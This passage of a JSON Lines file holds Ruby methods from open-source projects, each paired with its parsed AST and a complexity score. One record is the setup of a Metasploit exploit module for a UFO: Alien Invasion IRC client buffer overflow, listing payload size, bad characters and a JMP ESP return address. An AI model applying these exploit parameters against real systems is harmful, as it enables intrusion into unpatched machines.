e-89f4-cb204fa30d3d"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/jobs/regular/update_username.rb","start_line":90,"raw_source":"def update_notifications\n      params = { user_id: @user_id, old_username: @old_username, new_username: @new_username }\n\n      DB.exec(<<~SQL, params)\n        UPDATE notifications\n        SET data = (data :: JSONB ||\n                    jsonb_strip_nulls(\n                        jsonb_build_object(\n                            'original_username', CASE data :: JSONB ->> 'original_username'\n                                                 WHEN :old_username\n                                                   THEN :new_username\n                                                 ELSE NULL END,\n                            'display_username', CASE data :: JSONB ->> 'display_username'\n                                                WHEN :old_username\n                                                  THEN :new_username\n                                                ELSE NULL END,\n                            'username', CASE data :: JSONB ->> 'username'\n                                        WHEN :old_username\n                                          THEN :new_username\n                                        ELSE NULL END,\n                            'username2', CASE data :: JSONB ->> 'username2'\n                                        WHEN :old_username\n                                          THEN :new_username\n                                        ELSE NULL END\n                        )\n                    )) :: JSON\n        WHERE\n          data :: JSONB ->> 'original_username' = :old_username OR\n          data :: JSONB ->> 'display_username' = :old_username OR\n          data :: JSONB ->> 'username' = :old_username OR\n          data :: JSONB ->> 'username2' = :old_username\n      SQL\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"update_notifications\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"ivar\",\"children\":[\"@user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"old_username\"]},{\"type\":\"ivar\",\"children\":[\"@old_username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_username\"]},{\"type\":\"ivar\",\"children\":[\"@new_username\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE notifications\\n\"]},{\"type\":\"str\",\"children\":[\"SET data = (data :: JSONB ||\\n\"]},{\"type\":\"str\",\"children\":[\"            jsonb_strip_nulls(\\n\"]},{\"type\":\"str\",\"children\":[\"                jsonb_build_object(\\n\"]},{\"type\":\"str\",\"children\":[\"                    'original_username', CASE data :: JSONB ->> 'original_username'\\n\"]},{\"type\":\"str\",\"children\":[\"                                         WHEN :old_username\\n\"]},{\"type\":\"str\",\"children\":[\"                                           THEN :new_username\\n\"]},{\"type\":\"str\",\"children\":[\"                                         ELSE NULL END,\\n\"]},{\"type\":\"str\",\"children\":[\"                    'display_username', CASE data :: JSONB ->> 'display_username'\\n\"]},{\"type\":\"str\",\"children\":[\"                                        WHEN :old_username\\n\"]},{\"type\":\"str\",\"children\":[\"                                          THEN :new_username\\n\"]},{\"type\":\"str\",\"children\":[\"                                        ELSE NULL END,\\n\"]},{\"type\":\"str\",\"children\":[\"                    'username', CASE data :: JSONB ->> 'username'\\n\"]},{\"type\":\"str\",\"children\":[\"                                WHEN :old_username\\n\"]},{\"type\":\"str\",\"children\":[\"                                  THEN :new_username\\n\"]},{\"type\":\"str\",\"children\":[\"                                ELSE NULL END,\\n\"]},{\"type\":\"str\",\"children\":[\"                    'username2', CASE data :: JSONB ->> 'username2'\\n\"]},{\"type\":\"str\",\"children\":[\"                                WHEN :old_username\\n\"]},{\"type\":\"str\",\"children\":[\"                                  THEN :new_username\\n\"]},{\"type\":\"str\",\"children\":[\"                                ELSE NULL END\\n\"]},{\"type\":\"str\",\"children\":[\"                )\\n\"]},{\"type\":\"str\",\"children\":[\"            )) :: JSON\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE\\n\"]},{\"type\":\"str\",\"children\":[\"  data :: JSONB ->> 'original_username' = :old_username OR\\n\"]},{\"type\":\"str\",\"children\":[\"  data :: JSONB ->> 'display_username' = :old_username OR\\n\"]},{\"type\":\"str\",\"children\":[\"  data :: JSONB ->> 'username' = :old_username OR\\n\"]},{\"type\":\"str\",\"children\":[\"  data :: JSONB ->> 'username2' = :old_username\\n\"]}]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"087e848f-53e9-4de8-9aa6-8aaebf6275ba"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/projects/settings/life_cycle.rb","start_line":39,"raw_source":"def initialize(project)\n          super()\n\n          @project = project\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]}]}]}","id":"88dfd4a1-faab-42e1-be3c-d01de8d37844"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/samplers/concurrency_limit_sampler.rb","start_line":100,"raw_source":"def current_queues\n          Sidekiq.default_configuration.queues\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"current_queues\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"default_configuration\"]},\"queues\"]}]}","id":"a4a2e69c-d738-4ada-9c76-3e264df5818f"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/lazy_load_hooks_test.rb","start_line":77,"raw_source":"def test_hook_registered_interleaved_run_with_two_registrations_once\n    i = 0\n    ActiveSupport\n      .run_load_hooks(:registered_interleaved_with_two_once, FakeContext.new(2))\n    assert_equal 0, i\n\n    ActiveSupport.on_load(:registered_interleaved_with_two_once, run_once: true) do\n      i += incr\n    end\n    assert_equal 2, i\n\n    ActiveSupport\n      .run_load_hooks(:registered_interleaved_with_two_once, FakeContext.new(5))\n    assert_equal 2, i\n  end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_hook_registered_interleaved_run_with_two_registrations_once\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"i\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"run_load_hooks\",{\"type\":\"sym\",\"children\":[\"registered_interleaved_with_two_once\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FakeContext\"]},\"new\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"i\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"on_load\",{\"type\":\"sym\",\"children\":[\"registered_interleaved_with_two_once\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"run_once\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"i\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"incr\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"lvar\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"run_load_hooks\",{\"type\":\"sym\",\"children\":[\"registered_interleaved_with_two_once\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FakeContext\"]},\"new\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]}","id":"54dac1d6-991d-43cf-89bf-908d438c9155"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/exclusion_validation_test.rb","start_line":42,"raw_source":"def test_validates_exclusion_of_for_ruby_class\n    Person.validates_exclusion_of :karma, in: %w( abe monkey )\n\n    p = Person.new\n    p.karma = \"abe\"\n    assert_predicate p, :invalid?\n\n    assert_equal [\"is reserved\"], p.errors[:karma]\n\n    p.karma = \"Lifo\"\n    assert_predicate p, :valid?\n  ensure\n    Person.clear_validators!\n  end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_validates_exclusion_of_for_ruby_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Person\"]},\"validates_exclusion_of\",{\"type\":\"sym\",\"children\":[\"karma\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"in\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"abe\"]},{\"type\":\"str\",\"children\":[\"monkey\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Person\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"karma=\",{\"type\":\"str\",\"children\":[\"abe\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"p\"]},{\"type\":\"sym\",\"children\":[\"invalid?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"is reserved\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"karma\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"karma=\",{\"type\":\"str\",\"children\":[\"Lifo\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"p\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Person\"]},\"clear_validators!\"]}]}]}","id":"e55f04e8-620c-4e0f-9fb2-686a3c7649d4"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/automation/spec/system/page_objects/discourse_automation/new_automation.rb","start_line":16,"raw_source":"def create\n        find(\".create-automation\").click\n        self\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".create-automation\"]}]},\"click\"]},{\"type\":\"self\",\"children\":[]}]}]}","id":"0c794040-ab16-4ddb-9efb-0aea103ad428"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/migrations/20250114135814_ensure_runner_taggings_exist_spec.rb","start_line":118,"raw_source":"def runner_taggings_for(runner)\n      runner_taggings_table.where(runner_id: runner)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"runner_taggings_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"runner\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"runner_taggings_table\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"runner_id\"]},{\"type\":\"lvar\",\"children\":[\"runner\"]}]}]}]}]}","id":"8f280c9e-2409-4fcb-91cd-cab8b8a888ef"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/base_processor.rb","start_line":14,"raw_source":"def initialize tracker\n    super()\n    @last = nil\n    @tracker = tracker\n    @app_tree = tracker.app_tree if tracker\n    @current_template = @current_module = @current_class = @current_method = @current_file = nil\n  end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tracker\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@last\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@tracker\",{\"type\":\"lvar\",\"children\":[\"tracker\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tracker\"]},{\"type\":\"ivasgn\",\"children\":[\"@app_tree\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tracker\"]},\"app_tree\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@current_template\",{\"type\":\"ivasgn\",\"children\":[\"@current_module\",{\"type\":\"ivasgn\",\"children\":[\"@current_class\",{\"type\":\"ivasgn\",\"children\":[\"@current_method\",{\"type\":\"ivasgn\",\"children\":[\"@current_file\",{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]}]}","id":"4b3b56d8-f680-44a9-9ca0-f93042d2c2fd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/ldap_helpers.rb","start_line":23,"raw_source":"def stub_ldap_setting(messages)\n    allow(Gitlab.config.ldap).to receive_messages(to_settings(messages))\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_ldap_setting\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"messages\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"ldap\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"receive_messages\",{\"type\":\"send\",\"children\":[null,\"to_settings\",{\"type\":\"lvar\",\"children\":[\"messages\"]}]}]}]}]}","id":"45bc8f7b-6029-4851-85f6-8a7efe7d864e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/ufo_ai.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'UFO: Alien Invasion IRC Client Buffer Overflow',\n        'Description' => %q{\n          This module exploits a buffer overflow in the IRC client component of\n          UFO: Alien Invasion 2.2.1.\n        },\n        'Author' => [\n          'Jason Geffner', # Original Windows PoC Author\n          'dookie' # MSF Module Author\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2009-10006' ],\n          [ 'OSVDB', '65689'],\n          [ 'EDB', '14013' ]\n        ],\n        'Payload' => {\n          'Space' => 400,\n          'BadChars' => \"\\x00\\x0a\\x0d\",\n          'MaxNops' => 0,\n          'StackAdjustment' => -3500,\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [ 'Windows XP Universal', { 'Ret' => 0x0AE59A43 } ], # JMP ESP in SDL_ttf.dll\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2009-10-28',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptPort.new('SRVPORT', [ true, \"The IRC daemon port to listen on\", 6667 ]),\n      ]\n    )\n  end","complexity_score":6.45,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"UFO: Alien Invasion IRC Client Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a buffer overflow in the IRC client component of\\n\"]},{\"type\":\"str\",\"children\":[\"          UFO: Alien Invasion 2.2.1.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Jason Geffner\"]},{\"type\":\"str\",\"children\":[\"dookie\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2009-10006\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"65689\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"14013\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[400]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\n\\r\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MaxNops\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows XP Universal\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[182819395]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2009-10-28\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPort\"]},\"new\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The IRC daemon port to listen on\"]},{\"type\":\"int\",\"children\":[6667]}]}]}]}]}]}]}","id":"9536a572-77f6-47b6-b542-a02b71cd43f0"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/concerns/api/pagination.rb","start_line":42,"raw_source":"def pagination_options_invalid?\n    params.slice(:limit, :offset).values.map(&:to_i).any?(&:negative?)\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"pagination_options_invalid?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"slice\",{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"sym\",\"children\":[\"offset\"]}]},\"values\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_i\"]}]}]},\"any?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"negative?\"]}]}]}]}","id":"b469a643-e1e6-46ba-b1f7-3b7438149906"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/mail_room.rb","start_line":132,"raw_source":"def load_yaml\n        @yaml ||= YAML.safe_load_file(config_file, aliases: true)[rails_env].deep_symbolize_keys\n      end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"load_yaml\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@yaml\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"safe_load_file\",{\"type\":\"send\",\"children\":[null,\"config_file\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"aliases\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"[]\",{\"type\":\"send\",\"children\":[null,\"rails_env\"]}]},\"deep_symbolize_keys\"]}]}]}","id":"7228c0d4-a283-4348-bbf0-888d4ac16767"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/duration_test.rb","start_line":720,"raw_source":"def test_string_build_raises_error\n    error = assert_raises(TypeError) do\n      ActiveSupport::Duration.build(\"9\")\n    end\n\n    assert_equal \"can't build an ActiveSupport::Duration from a String\", error.message\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_string_build_raises_error\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"TypeError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Duration\"]},\"build\",{\"type\":\"str\",\"children\":[\"9\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"can't build an ActiveSupport::Duration from a String\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]}","id":"0dfaff64-a3c8-4495-9b43-54017d561b12"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/sign_up_helpers.rb","start_line":6,"raw_source":"def fill_in_sign_up_form(new_user, invite: false)\n    fill_in 'new_user_first_name', with: new_user.first_name\n    fill_in 'new_user_last_name', with: new_user.last_name\n    fill_in 'new_user_username', with: new_user.username\n    fill_in 'new_user_email', with: new_user.email unless invite\n    fill_in 'new_user_password', with: new_user.password\n\n    expect_username_to_be_validated\n\n    yield if block_given?\n\n    click_button _('Continue')\n  end","complexity_score":18.5,"ast_json":"{\"type\":\"def\",\"children\":[\"fill_in_sign_up_form\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_user\"]},{\"type\":\"kwoptarg\",\"children\":[\"invite\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"new_user_first_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_user\"]},\"first_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"new_user_last_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_user\"]},\"last_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"new_user_username\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_user\"]},\"username\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invite\"]},null,{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"new_user_email\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_user\"]},\"email\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"new_user_password\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_user\"]},\"password\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"expect_username_to_be_validated\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"click_button\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Continue\"]}]}]}]}]}","id":"9821a598-aac6-40f7-bd50-2fcc1ba8bfd6"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/type/type_map_test.rb","start_line":8,"raw_source":"def test_default_type\n        mapping = klass.new\n\n        assert_kind_of Value, mapping.lookup(:undefined)\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_default_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mapping\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"klass\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[null,\"Value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping\"]},\"lookup\",{\"type\":\"sym\",\"children\":[\"undefined\"]}]}]}]}]}","id":"6a2611bf-c88c-4b1c-9840-c5a36180a0dc"}
{"repo_name":"wisper","file_path":"./repos/wisper/lib/wisper/temporary_listeners.rb","start_line":11,"raw_source":"def self.registrations\n      new.registrations\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"registrations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\"]},\"registrations\"]}]}","id":"c20d372f-ec5b-4f56-866c-1bcb7dc2fa4f"}
{"repo_name":"spree","file_path":"./repos/spree/storefront/app/helpers/spree/cart_helper.rb","start_line":48,"raw_source":"def cart_id(order)\n      return 'cart_contents' if order.blank? || order.id.blank? || order.updated_at.blank?\n\n      \"cart_contents_#{order.id}\"\n    end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"cart_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"order\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"id\"]},\"blank?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"updated_at\"]},\"blank?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"cart_contents\"]}]},null]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cart_contents_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"id\"]}]}]}]}]}","id":"2a35be20-da10-4913-ad5d-e7e8a15c2543"}
